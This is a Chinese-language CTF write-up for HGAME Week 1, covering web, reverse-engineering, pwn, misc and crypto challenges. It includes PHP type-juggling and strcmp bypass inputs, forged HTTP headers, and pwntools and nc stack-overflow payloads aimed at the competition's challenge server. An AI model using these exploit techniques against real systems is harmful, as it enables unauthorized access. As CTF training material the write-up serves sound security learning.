HGAME Week1 Writeup

{ Web }

Are you from Europe? [100]

打开页面试着抽了一下,发现抽不到 SSR 就直奔源码而去了。在页面最后发现一段很可疑的 eval(),扔到 Sublime 里用插件格式化一下,得到 Flag:hgame{Th3_Ch0seN_0nE!}

special number [100]

读源码:先拿到 GET 的参数 key,然后匹配一下正则,过了之后要使 json_decode() 的返回值与未知字符串相等。结合正则的提示:必须包含数字,可联想到 0 == "xxx" 为真,所以可构造 ?key=0e00000 得到 Flag:hgame{pHp_w34k_typing_s000_e4sy}。

can u find me? [50]

根据提示 “only robot know where is the Flag”,直接访问 /robots.txt,发现一行 Disallow: /f1aaaaaaaag.php,跟到该文件,并根据提示把 cookies 改为 user: admin,成功获取 Flag:hgame{78e01ee77a39ef4e}

tell me what you want [100]

打开页面,填入 flag 并提交,提示需要用 POST。于是 F12 把 method 改为 POST 后重新提交,并打开 Burp Suite 把这个 HTTP 请求复制一下。之后根据提示依次添加/修改以下 HTTP 头即可得到 Flag:hgame{For9e_hTTp_iS_N0T_HArd}

X-Forwarded-For: 127.0.0.1
User-Agent: Mozilla/5.0 Icefox/57.0
Referer: www.google.com
Cookie: isadmin=1

我们不一样 [100]

读代码,发现要使 $str1 != $str2strcmp($str1, $str2) == 0 同时为真。翻阅文档发现 strcmp() 函数在遇到数组时会返回 NULL,则可构造 POST 参数 str1[]=1&str2[]=2,成功获取 Flag:hgame{g3t_f14g_is_so0000_ez}

{ Re }

re0 [50]

扔进 IDA 发现函数名很让人迷茫,默默搜索了一下字符串,于是得到 Flag:hctf{F1r5t_St5p_Ls_Ea5y}

baby_crack [100]

先看一下如何“Good Job”:

arraygoal 一样即可,长度为 20 Bytes。然后依次把上边那三个函数扣出来,整理成如下代码:

void func1(uint8_t array[], uint8_t buffer[]) {
    for (int i = 0; i < 20; ++i) {
        int mod = i & 3;
        // (i >> 32) >> 30 始终为 0

        if (mod == 0) {
            array[i] = 2 * buffer[i];
            // buffer 是输入的字符,而可见的 ASCII 字符里最高位均为 0
            // 所以 buffer[i] >> 7 始终为 0
        } else {
            array[i] = (buffer[i] << 2*mod) | (buffer[i] >> 8 - 2*mod);
            // 将 buffer 高低位按组交换
        }
    }
}

void func2(uint8_t array[]) {
    int v1 = 0, v2 = 1, v3 = 2;
    while (v2 <= 20) {
        uint8_t temp = array[v1];
        array[v1] = array[v2];
        array[v2] = temp;
        // 将 array[v1] 与 array[v2] 互换
        v1 = v2;
        v2 += v3++;
    }
}

void func3(uint8_t array[]) {
    for (int i = 0; i < 20; ++i) {
        array[i] = table[array[i]]
    }
}

简要描述一下:先一番操作从 buffer 得到 array,然后循环一下把 array 里的项换位,最后查表把 array 里的每个特定值换成对应的值。

读懂之后,一步步反过来操作即可从 array(也就是 goal)还原到 buffer。描述起来比较长,直接上代码吧:

#include <stdio.h>
#include <inttypes.h>

uint8_t buffer[21] = {0};
uint8_t array[] = {
    0xA6, 0x4E, 0x05, 0xA2, 0xB6, 0x08, 0xA2, 0xCE, 0x8C, 0xEE, 0x20, 0xC2,
    0x98, 0xA0, 0xD0, 0xCD, 0x23, 0xA6, 0x6A, 0x82
};
uint8_t trans_table[] = {
    0x11, 0xBF, 0xBA, 0x0F, 0xD5, 0xCC, 0xBC, 0x1E, 0x19, 0x01, 0x87, 0x1B,
    0x96, 0xC3, 0x86, 0x1A, 0x7E, 0x6B, 0x5A, 0x8D, 0xFB, 0xC2, 0x8B, 0xB3,
    0xB1, 0xDD, 0xEF, 0x0A, 0x4B, 0xF8, 0x55, 0x26, 0x76, 0xAB, 0xC1, 0x64,
    0x17, 0xC9, 0xAF, 0x61, 0x67, 0x4A, 0xCA, 0x12, 0x24, 0xE1, 0xAE, 0x50,
    0x3A, 0x70, 0x37, 0xED, 0xE0, 0x77, 0xB7, 0x2E, 0xA1, 0x2D, 0x32, 0x7B,
    0x89, 0xCF, 0xF0, 0x94, 0x21, 0x65, 0x0B, 0x3F, 0x7D, 0x29, 0x3B, 0x05,
    0x51, 0xE7, 0x81, 0x6E, 0x33, 0xC6, 0xD7, 0xAC, 0x3C, 0x9A, 0x22, 0xDC,
    0x7A, 0x08, 0x6A, 0x97, 0xF1, 0x5F, 0x8E, 0x62, 0x6F, 0x13, 0x8A, 0x82,
    0x8C, 0x2A, 0x49, 0x39, 0x18, 0x68, 0xD0, 0x83, 0xB4, 0x42, 0x36, 0x71,
    0x0C, 0x57, 0x10, 0xF3, 0x28, 0xD4, 0x34, 0x0E, 0xE4, 0xFF, 0x06, 0xAD,
    0x5C, 0xFC, 0xDB, 0xDE, 0xDA, 0x9F, 0xEA, 0x35, 0x5E, 0x78, 0x52, 0xD9,
    0x4F, 0x6D, 0xBB, 0xA8, 0xB0, 0x15, 0x43, 0x90, 0x25, 0xA6, 0x54, 0xFE,
    0x0D, 0xEB, 0xA9, 0xFD, 0xE9, 0x5D, 0x16, 0xCB, 0x2F, 0x4E, 0xBD, 0xC5,
    0x09, 0x46, 0xF7, 0xC0, 0x1F, 0x59, 0xD3, 0x02, 0x23, 0x9D, 0x60, 0x04,
    0x84, 0xF6, 0xA4, 0x1D, 0x31, 0x4C, 0xC8, 0x9B, 0xC7, 0xDF, 0x66, 0x2C,
    0xEC, 0x79, 0x73, 0x30, 0x69, 0x63, 0x95, 0xD6, 0xBE, 0x44, 0xE8, 0xA5,
    0xF2, 0x99, 0xD8, 0x38, 0xA0, 0xE3, 0x8F, 0xD2, 0x53, 0x3D, 0x56, 0x92,
    0x72, 0xFA, 0xB8, 0xA7, 0xCD, 0xEE, 0x93, 0x85, 0x6C, 0x7F, 0xAA, 0xB2,
    0x47, 0xCE, 0x80, 0x20, 0x1C, 0x7C, 0x07, 0xE2, 0xB9, 0x91, 0x45, 0x74,
    0x98, 0xF5, 0x3E, 0x03, 0xC4, 0x00, 0x41, 0x00, 0x2B, 0x48, 0x27, 0xE6,
    0x5B, 0xF4, 0x9C, 0x88, 0x75, 0xA2, 0xB6, 0x14, 0xD1, 0xE5, 0x4D, 0x40,
    0xF9, 0x9E, 0x58, 0xA3
};

int main() {
    // func3_reserve():
    for (int i = 0; i < 20; ++i)
        for (int j = 0; j < 256; ++j)
            if (trans_table[j] == array[i]) {
                array[i] = j;
                // 查表还原出原来的值
                break;
                // 有坑,不 break 的话会拿到错误的下标
            }

    // func2_reverse():
    int v1 = 15, v2 = 21, v3 = 7;
    // 推一下就能知道上边这些最终值,然后逆着回去就行
    while (v2 > 1) {
        v2 -= --v3;
        v1 = v2 - (v3 - 1);
        // 让 v1 成为下一轮的 v2,也就是原来 v1 = v2 的逆操作
        uint8_t temp = array[v1];
        array[v1] = array[v2];
        array[v2] = temp;
    }

    //func1_reserve():
    for (int i = 0; i < 20; ++i) {
        int mod = i & 3;
        if (mod == 0) {
            buffer[i] = array[i] / 2;
            // 这里不会得到浮点数的,array[i] 肯定是偶数
        } else {
            buffer[i] = (array[i] >> 2*mod) | (array[i] << 8 - 2*mod);
        }
    }

    printf("%sn", buffer);
}

Flag:hctf{U_g0t_Tr1foRce}

nop_pop [100]

第一次遇到文件里没有 Flag 的题,迷茫……了解到我需要做什么之后,先打开该程序,弹出两个窗口,我需要把背景图去掉,观察发现该图窗口名为 pop team epic。遂丢进 OllyDbg,搜索定位到该字符串:

下断点后执行到该处,发现先后调用了 CreateWindowExW()ShowWindow()UpdateWindow(),那只要把 ShowWindow() 给 nop 掉即可。栈里多出来的数据没有影响,也不会让 UpdateWindow() 出现没有操作对象的情况:

继续将代码读下去,发现有一小段不会执行的代码:

将跳转条件反转即可:jnz -> jz,保存后发给客服获得 Flag:hctf{Far5we1L_G0od_Cr4cker}

sc2_player [100]

不带符号让人迷茫,搜索字符串,通过“Input your flag”的 xref 找到了主函数:

其中,if 的判断条件明显是判断上边一系列运算的正确与否,跟进去:

先继续跟进子函数:

读完发现大概就是 !strcmp(),结合 check() 那几个按位与,可以知道,只有 a1, a2, a3, a4mask2 相对应的部分完全相同,check() 才会返回真。

然后层层深入一下 f1() 函数。经过整理,其作用相当于下面的伪代码:

function f1(buffer, mask, loc, id) {
    for (int i=0; i<7; ++i)
        loc[i] = mask[i + 7*id] ^ (i + 35)

    for (int i=0; i<7; ++i)
        mask[i] = mask[i + 7*id] ^ 0x34

    for (int i=0; i<7; ++i)
        loc[i] = buffer[i + 7*id] ^ (i + 7*id) ^ id;
}

因为最终拿来比对的是 loc 们,只要跟踪好 loc 的变化即可:第一个循环给 loc 做的改变都被第三个循环给覆盖了,而第三个循环对 loc 的改变只与 buffer 有关,第二个循环与 loc 一点关系都没有。可以发现,loc 的最终内容可直接由 buffer 得出,mask 什么的都可以统统抛弃。

而传给 check()mask2 未曾被改变过,只被拿来比对。借由 mask2 的数据,可以知道所有 loc 的最终数据,并通过上边的式子从 loc 反推 buffer 即可。Flag:hctf{M4y_th5_iDa_gu1de_thee},最终代码如下:

#include <stdio.h>
#include <inttypes.h>

uint8_t buffer[5][7] = {0};  // 多一行拿来放空字符 =。=
uint8_t loc[4][7] = {
    0x68, 0x62, 0x76, 0x65, 0x7F, 0x48, 0x32,
    0x7F, 0x56, 0x7C, 0x63, 0x3F, 0x52, 0x65,
    0x48, 0x6C, 0x4D, 0x74, 0x65, 0x20, 0x72,
    0x73, 0x4A, 0x60, 0x73, 0x7F, 0x7C, 0x65,
};  // 这个就是 mask2 的数据

int main() {
    // f1s_reserve():
    for (int i=0; i<4; ++i)
        for (int j=6; j>=0; --j)
            buffer[i][j] = loc[i][j] ^ ((j + 7*i) ^ i);

    printf("%s", buffer);
}

{ Pwn }

guess_number [50]

先手动 nc 一下,发现是要猜数字。既然是要猜数字,猜想可以通过随机数种子拿到随机的数字。先在 IDA 里 F5 拿到 C 代码:

种子的播种应该在 init() 函数里,跟进去:

发现用的是系统提供的 /dev/urandom,无法操作,放弃挣扎。回到 main() 里继续读代码,没有发现问题,继续跟进 guess_num() 函数:

第九行用 scanf("%s") 的方式读入,敲定此处有溢出的风险。只要成功将 goal_random_num 覆盖即可,查看该函数的栈空间:

发现 goal_random_num 在相对 buffer 的高地址处,说明此方法可行。构造 payload:python3 -c "print('0'*276+'x00x00x00x00n')" | nc 111.230.149.72 10002,即可成功获得 Flag:hgame{S0unds_L1ke_U_KN0wn_h0w_st4ck_works}

flag_server [50]

(该题初版可根据随机数种子不够随机(timestamp)的漏洞得到生成的随机数,下边是根据溢出所做的题解)

读代码:先初始化随机数生成器,没有搞头,继续:输入长度 length,去除过长 length,防止溢出。然后通过 read_n() 读入指定长度的字符,遇到回车或长度已满的时候结束读入。如果要拿到 Flag,就必须使 is_admin 为真。

这时候有两条路,一条是走 username == "admin" 并猜到随机数。但是随机数种子拿不到,在生成之后、判断之前也无法覆盖掉这个数:

所以考虑另外一条路:直接在前边将 is_admin 覆盖成为真。该题有三处输入,scanf("%u" 与 "%d") 都无法覆盖到其他地方的数据,只剩 read_n() 有可能。进去之后仔细阅读代码:

联系之前“loading”的 hint,发现没有考虑 i 为负数的情况,而且正好可以通过 i <= 63 的限制。手动 nc 输入 -1 验证一下,发现可以成功覆盖到 is_admin,所以可以构造 payload:

from pwn import *

conn = remote('111.230.149.72', 10001)
conn.recvuntil('length: ', drop=True)
conn.send('-1n')
conn.recvuntil('username?', drop=True)
conn.send('@' * 68 + 'n')
# 让 is_admin 非零即可
conn.interactive()

即可成功获取 Flag:hgame{Be_c4r3fu1_wHile_u5ing_1nt_And_unsigned_1nt}

zazahui [50]

main() 函数就几行代码,先设置无缓冲,然后依次调用两个函数。先跟进第一个函数:

此函数把 adFlag 的内容读入到 .bss 段特定地址,那看来待会要修改某个指针的值以指向放在内存里的 Flag。再看一下第二个函数:

念 100 次是没用的←_←读下去,发现只有一处 read_n() 可供输入。该函数内容跟上题一致,就是已经限定了最大长度为 188。本以为这唯一的入口没法溢出了,不过在查看栈空间时发现,188 已经超过了 buffer 实际所占有的长度 176:

那么只要将 ptr_ad 的值给覆盖成 .bss 里储存 Flag 的地址即可。构造 payload 如下:

from pwn import *

conn = remote('111.230.149.72', 10003)
conn.recvuntil('> ', drop=True)
conn.send('@' * 176 + p32(0x0804a060) + p32(100) + 'n')
# p32(100) 是为了让 times != 0,否则无法获得 Flag。
conn.interactive()

Flag:hgame{y0u_c4n_4lso_s3nd_unprint4ble_ch4r}

{ Misc }

白菜1 [50]

先丢到 binwalk 跑一番:

刚开始以为这个 zlib 有猫腻,谷歌后发现是 PNG 的正常组成部分,初步排除图种。所以我就把图片拖进 Stegsolve 继续分(瞎)析(试)。谷歌了常见隐写术之后,在 Row, LSB First, R0 G0 B0 参数下看到了 ZIP 文件头,Save Bin 并打开生成的压缩包,成功拿到 Flag:hgame{4246a2158c280cdd1e8c18c57e96095f}

白菜2 [50]

binwalk 显示后边还有个 zip,用 binwalk -eM misc2.jpg 分离出文件后,得到 Flag:hgame{af2ab981a021e3def22646407cee7bdc}

pcap1 [50]

将该文件用 Wireshark 打开,搜索字符串“flag”,发现一个 GET 请求:

在下边的 Response 里将 gzip 解开即可得到 Flag:hgame{bfebcf95972871907c89893aa3096ec6}

{ Crypto }

easy Caesar [50]

题目很清晰,找到一个解密凯撒的网站,在向下移位 12 字符的时候看到了 hgame{The_qu8ck_br7wn_1x_jUmps_ovEr_a_La9y_dOg},直接提交发现出错,便根据语义将数字也移一下位,得到最终 Flag:hgame{The_qu1ck_br0wn_4x_jUmps_ovEr_a_La2y_dOg}

Polybius [50]

读完给的链接,把密文整理了一下,发现对应 12345 的可能就是 ADFGX,谷歌之,从这里拿到对应的字母布局。一个个对照过去,提交后发现不对。……中间省略一大堆不明所以的操作……最后联想到,在那个按照字母顺序的的版本里,I 跟 J 是放一起的(这个“联想”我等了四天才等到= =)。于是我转换了一下 I 跟 J,以及大小写,终于得到最终 Flag:hgame{fritz_nebel_invented_it}(谷歌也刚好有 Fritz Nebel 这个人)

Hill [50]

既然题目把加密方式跟密钥都讲了出来,我就直接找工具了←_←找到这个网站,将密文跟密钥拖进去得到 Flag:hgame{overthehillx}

confusion [100]

一看就觉得是摩尔斯电码,解密得到 MRLTK6KXNVZXQWBSNA2FSU2GGBSW45BSLAZFU6SVJBNDAZSRHU6Q====,发现以四个 = 结尾,怀疑是 base32。再次解密得到 dW5yWmsxX2h4YSF0ent2X2ZzUHZ0fQ==,符合 base64 的特点,又可得到 unrZk1_hxa!tz{v_fsPvt}。初步怀疑是栅栏密码,但是密文有 { } h a 这几个字符,却没有 g m e,怀疑是 rot13,得到 haeMx1_ukn!gm{i_sfCig}。接着用栅栏解密得到最终 Flag:hgame{Mix_1s_fuCking!}

baby step [66]

得到 hint 之后,以 “baby step ctf” 为关键词在谷歌搜到了这个网页,得知此类问题可用 “baby step - giant step” 算法解决。找了几篇介绍如何实现的文章之后,自己写了一段 Py 脚本,直接把字典当 Hash 表,发现极其慢。在群里大佬提示下,去 https://sagecell.sagemath.org/ 跑了一下现学现卖的三行 Sage,跑出第一个数:0x2c7de99911,其中“E9”明显不是可见字符。又经过群里大佬提示,发现了第二个符合要求的数:0x7831333337,所以得到 Flag:x1337

Sage 代码:

a = Mod(0x1111111111, 0x976693344d)
b = Mod(0x7ac21f64ed, 0x976693344d)
bsgs(a, b, (0x2c7de99911 + 1, 0x7f7f7f7f7f))

Python 代码:

ans = hex(0x7831333337)[2:-1]
print(''.join([
    chr(int(ans[i:i+2], base=16)) 
        for i in range(0, len(ans), 2)
]))

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据